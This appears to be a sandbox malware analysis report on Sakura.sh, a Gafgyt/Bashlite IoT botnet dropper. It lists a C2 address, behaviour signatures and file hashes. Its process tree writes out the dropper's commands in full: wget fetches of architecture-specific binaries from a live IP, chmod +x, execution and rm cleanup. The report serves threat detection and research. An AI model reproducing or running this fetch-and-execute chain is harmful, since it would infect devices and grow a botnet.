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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18/02/2025, 19:22

General

  • Target

    Sakura.sh

  • Size

    2KB

  • MD5

    ad70f1b36e82acde577b779fd8b6cd8d

  • SHA1

    75537881fb592d2f8bb6fe38f9388d6ddf28d960

  • SHA256

    e714fd9d746500c323367921c534fe1b33fcc17abb3346595a67d85542321bb8

  • SHA512

    e3e61724a4d9bbb6df2ee9652c475cf0b9750baa6c285f36eac9ef8cf698a842a7366323fa2438c400c8b23c5755918320139aef1cbe79984aa4a21617874865

Malware Config

Extracted

Family

gafgyt

C2

87.251.79.180:12345

Signatures

  • Detected Gafgyt variant 11 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Reads system routing table 1 TTPs 2 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/Sakura.sh
    /tmp/Sakura.sh
    1⤵
    • Executes dropped EXE
    • Reads system routing table
    • Reads system network configuration
    PID:1495
    • /usr/bin/wget
      wget http://87.251.79.180/m-i.p-s.Sakura
      2⤵
      • Writes file to tmp directory
      PID:1496
    • /bin/chmod
      chmod +x m-i.p-s.Sakura
      2⤵
      • File and Directory Permissions Modification
      PID:1503
    • /tmp/m-i.p-s.Sakura
      ./m-i.p-s.Sakura
      2⤵
        PID:1504
      • /bin/rm
        rm -rf m-i.p-s.Sakura
        2⤵
          PID:1506
        • /usr/bin/wget
          wget http://87.251.79.180/m-p.s-l.Sakura
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /bin/chmod
          chmod +x m-p.s-l.Sakura
          2⤵
          • File and Directory Permissions Modification
          PID:1508
        • /tmp/m-p.s-l.Sakura
          ./m-p.s-l.Sakura
          2⤵
            PID:1509
          • /bin/rm
            rm -rf m-p.s-l.Sakura
            2⤵
              PID:1511
            • /usr/bin/wget
              wget http://87.251.79.180/s-h.4-.Sakura
              2⤵
              • Writes file to tmp directory
              PID:1512
            • /bin/chmod
              chmod +x s-h.4-.Sakura
              2⤵
              • File and Directory Permissions Modification
              PID:1513
            • /tmp/s-h.4-.Sakura
              ./s-h.4-.Sakura
              2⤵
                PID:1514
              • /bin/rm
                rm -rf s-h.4-.Sakura
                2⤵
                  PID:1516
                • /usr/bin/wget
                  wget http://87.251.79.180/x-8.6-.Sakura
                  2⤵
                  • Writes file to tmp directory
                  PID:1517
                • /bin/chmod
                  chmod +x x-8.6-.Sakura
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1518
                • /tmp/x-8.6-.Sakura
                  ./x-8.6-.Sakura
                  2⤵
                  • Reads system routing table
                  • Reads system network configuration
                  PID:1519
                • /bin/rm
                  rm -rf x-8.6-.Sakura
                  2⤵
                    PID:1522
                  • /usr/bin/wget
                    wget http://87.251.79.180/a-r.m-6.Sakura
                    2⤵
                    • Writes file to tmp directory
                    PID:1523
                  • /bin/chmod
                    chmod +x a-r.m-6.Sakura
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1524
                  • /tmp/a-r.m-6.Sakura
                    ./a-r.m-6.Sakura
                    2⤵
                      PID:1525
                    • /bin/rm
                      rm -rf a-r.m-6.Sakura
                      2⤵
                        PID:1527
                      • /usr/bin/wget
                        wget http://87.251.79.180/x-3.2-.Sakura
                        2⤵
                        • Writes file to tmp directory
                        PID:1528
                      • /bin/chmod
                        chmod +x x-3.2-.Sakura
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1529
                      • /bin/rm
                        rm -rf x-3.2-.Sakura
                        2⤵
                          PID:1533
                        • /usr/bin/wget
                          wget http://87.251.79.180/a-r.m-7.Sakura
                          2⤵
                          • Writes file to tmp directory
                          PID:1534
                        • /bin/chmod
                          chmod +x a-r.m-7.Sakura
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1535
                        • /tmp/a-r.m-7.Sakura
                          ./a-r.m-7.Sakura
                          2⤵
                            PID:1536
                          • /bin/rm
                            rm -rf a-r.m-7.Sakura
                            2⤵
                              PID:1538
                            • /usr/bin/wget
                              wget http://87.251.79.180/p-p.c-.Sakura
                              2⤵
                              • Writes file to tmp directory
                              PID:1539
                            • /bin/chmod
                              chmod +x p-p.c-.Sakura
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1540
                            • /tmp/p-p.c-.Sakura
                              ./p-p.c-.Sakura
                              2⤵
                                PID:1541
                              • /bin/rm
                                rm -rf p-p.c-.Sakura
                                2⤵
                                  PID:1543
                                • /usr/bin/wget
                                  wget http://87.251.79.180/i-5.8-6.Sakura
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1544
                                • /bin/chmod
                                  chmod +x i-5.8-6.Sakura
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1545
                                • /tmp/i-5.8-6.Sakura
                                  ./i-5.8-6.Sakura
                                  2⤵
                                    PID:1546
                                  • /bin/rm
                                    rm -rf i-5.8-6.Sakura
                                    2⤵
                                      PID:1548
                                    • /usr/bin/wget
                                      wget http://87.251.79.180/m-6.8-k.Sakura
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1549
                                    • /bin/chmod
                                      chmod +x m-6.8-k.Sakura
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1550
                                    • /tmp/m-6.8-k.Sakura
                                      ./m-6.8-k.Sakura
                                      2⤵
                                        PID:1551
                                      • /bin/rm
                                        rm -rf m-6.8-k.Sakura
                                        2⤵
                                          PID:1553
                                        • /usr/bin/wget
                                          wget http://87.251.79.180/p-p.c-.Sakura
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1554
                                        • /bin/chmod
                                          chmod +x p-p.c-.Sakura
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1555
                                        • /tmp/p-p.c-.Sakura
                                          ./p-p.c-.Sakura
                                          2⤵
                                            PID:1556
                                          • /bin/rm
                                            rm -rf p-p.c-.Sakura
                                            2⤵
                                              PID:1558
                                            • /usr/bin/wget
                                              wget http://87.251.79.180/a-r.m-4.Sakura
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1559
                                            • /bin/chmod
                                              chmod +x a-r.m-4.Sakura
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1560
                                            • /tmp/a-r.m-4.Sakura
                                              ./a-r.m-4.Sakura
                                              2⤵
                                                PID:1561
                                              • /bin/rm
                                                rm -rf a-r.m-4.Sakura
                                                2⤵
                                                  PID:1563
                                                • /usr/bin/wget
                                                  wget http://87.251.79.180/a-r.m-5.Sakura
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1564
                                                • /bin/chmod
                                                  chmod +x a-r.m-5.Sakura
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:1565
                                                • /tmp/a-r.m-5.Sakura
                                                  ./a-r.m-5.Sakura
                                                  2⤵
                                                    PID:1566
                                                  • /bin/rm
                                                    rm -rf a-r.m-5.Sakura
                                                    2⤵
                                                      PID:1568

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

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                                                  Downloads

                                                  • /tmp/a-r.m-5.Sakura

                                                    Filesize

                                                    98KB

                                                    MD5

                                                    39d382cb3f8fe19212ad98b82e2cded8

                                                    SHA1

                                                    d240dc083ffd27dba09c2c4aaa7926bc91ccb2ca

                                                    SHA256

                                                    49e3fe8176e4405796a225c0a2f9ce39b3efa0736dc1ce253c0d4c76bd89d8ca

                                                    SHA512

                                                    580856dafaba853524cbaec415c0c20363768d306761060f4214d7f7824708181f16b7d3a6c43d58eb9ceafee52456c3e9b9685b205ad447a4bf4e4c6997f03e

                                                  • /tmp/a-r.m-6.Sakura

                                                    Filesize

                                                    118KB

                                                    MD5

                                                    230fded12db7339d3a9fef64248e25a9

                                                    SHA1

                                                    e41493b48e0ffcdd3f84ce7fbf7c37e367dbef51

                                                    SHA256

                                                    d71a424563270b288070cd8e7c35e0636422c96a24f7e39ba6eb4c1be4b48d14

                                                    SHA512

                                                    9263f03e6feb56b55cb133918aaacb45fa7495634377bce017505a30c02b66ae693e6cc72cf985fb5c27eb689543792617ba4c22580927f9df919b8fb6527bbd

                                                  • /tmp/a-r.m-7.Sakura

                                                    Filesize

                                                    91KB

                                                    MD5

                                                    4b1f83e191c1fda1e0441aa94da85cd6

                                                    SHA1

                                                    0ec28049e0a19d0ed9880bffdef9435b69dc1be2

                                                    SHA256

                                                    2284444c6b45845f09c9ed0bae3ba43ae7177d34630213a6cf8b79c2a98c458a

                                                    SHA512

                                                    4c05ed93bb1d623c03a5a53fb78be3fe209e50bf2d4b47f6e65df19b779f1ff282b823ccd7c26433874a3355d57f8c4902457e0d6b74204b9ec692b93dc95b6f

                                                  • /tmp/i-5.8-6.Sakura

                                                    Filesize

                                                    96KB

                                                    MD5

                                                    a3aa48b845ac8be0053c78dc729b68df

                                                    SHA1

                                                    79ddf8a413f85d715247a9f2060fbaa3b94ddacd

                                                    SHA256

                                                    a5cf164f6966ecd73195c68a9122deafdf2a7fa80b029b9fb5fbffeea139f2e8

                                                    SHA512

                                                    b4fccb7ad12df985d2933bd7f1e46b532fb813a0a34fb8349cbdcf3b23094f254b77579f42404b44057a6436bfc3e38b66b77df3710ceaf13f9acf4ed3be5c75

                                                  • /tmp/m-6.8-k.Sakura

                                                    Filesize

                                                    156KB

                                                    MD5

                                                    ff60dec55424ba5ad6976a5cbec4dbac

                                                    SHA1

                                                    ecf2c65f29cac600ad8622d5b950c2471b225641

                                                    SHA256

                                                    72807c35f0fa3b7b6fc3cb7980c2db8e18a6133ef3da827546e87505a6d933b9

                                                    SHA512

                                                    ad04ac10c34bed5db70204e7db7d76b92bad563d73b425cfa3aba457fca88c67b037119d50bc4edff1fb5414151862dfde6749ffad72de1d27f77f1e72320af4

                                                  • /tmp/m-i.p-s.Sakura

                                                    Filesize

                                                    123KB

                                                    MD5

                                                    89baf8a811dc892fc622c12d249fec06

                                                    SHA1

                                                    d04ae8d3fc365aa2d7499f8120069666881bf794

                                                    SHA256

                                                    a23b88938a22c85d32e6e74a538281f724db6f4bfc6adc869f9aeee58855e149

                                                    SHA512

                                                    cf0b70f2333897eda18f80d4456700f91b462b4d0af9e3ae99dcc43b45b45d27b503691528c47b9be1c2ae8b3bc96d92c6966cf1d6a014bbcdfb64d94710c893

                                                  • /tmp/m-p.s-l.Sakura

                                                    Filesize

                                                    123KB

                                                    MD5

                                                    301abf86c75d3c8e4bf26d4c0ea8aafa

                                                    SHA1

                                                    0e60857bf7d0a8d5eddd850042682b14aec03017

                                                    SHA256

                                                    5ab6f4941c390d0c882f0ea0572c94282b6c7262ae288928d4a7461e1f87a5f2

                                                    SHA512

                                                    9ecdfe31bc874ee7ce5c3e02844d5660d6420b4478a4ed08fbf478ffb07b6b27a9aebff57682fd10219227f9516c0c18d59f22297ec848e854e79aa4fcc5c7fa

                                                  • /tmp/p-p.c-.Sakura

                                                    Filesize

                                                    105KB

                                                    MD5

                                                    212450f9dbb99390dedafec72be65ab1

                                                    SHA1

                                                    afffa9700118c0840519970eca8890cba9cd1563

                                                    SHA256

                                                    618c3e2a8bc6b97188b8eb0d25b937711946c23206bb09b5be008b9969a81974

                                                    SHA512

                                                    fa73feaa08ee1f822ce0829f1b3ce6f8ea1a06cbb7e397699fa792b324eca1f0c223a9d041faad1068a795af918b376e992786e3d40473a5cd19b0400d46a926

                                                  • /tmp/s-h.4-.Sakura

                                                    Filesize

                                                    86KB

                                                    MD5

                                                    16cb232f26bfda683ef74182627ff3d5

                                                    SHA1

                                                    79805198d3660ea9a1686b8a79d236e785896919

                                                    SHA256

                                                    73da39758288f46e00b0fedcf2544676d7c748d8aba002263668fcce604941fb

                                                    SHA512

                                                    9bca8151c28e32651bb2fd29ab0a465d458708eeb384f89f3d31e9c19f36d393a92ad237598ad51c0bf04b060382a02337ed5003f1fa81a1642c68f4acc3030a

                                                  • /tmp/x-3.2-.Sakura

                                                    Filesize

                                                    83KB

                                                    MD5

                                                    9407f2e571451c2980a284725a28da80

                                                    SHA1

                                                    a9181678ee792658f0408a89acb0e5ddc8972260

                                                    SHA256

                                                    b67b9fb5c81dc96e34c12e5ffebe16db92bb03d2d1fa6dbe16f212992b764f3d

                                                    SHA512

                                                    4218ba1fd072c1b8c0974e73530413a141e864c00c5593bd2219db57585f2d2d9aaedb9751b3f2c8baa40eebd6b976b9c573411f912e192f0319fb9b85130fac

                                                  • /tmp/x-8.6-.Sakura

                                                    Filesize

                                                    92KB

                                                    MD5

                                                    cd3083795e82e94e9f12349e5e0f308e

                                                    SHA1

                                                    da31faa030e36a3d66e36025d5f9bd90da168795

                                                    SHA256

                                                    5f93cde41bf79ff93865979d26497fade27d144095d4c0f6d4016e156c4699b7

                                                    SHA512

                                                    40a13cb82f1fd5cfea6c2bb5b368af82deb783c414cc1b86dfa771d57845e7c7f1c91a605235871e3bc4f90ed7acabb5a22e48006fa61448d5a6cacc1e3d546e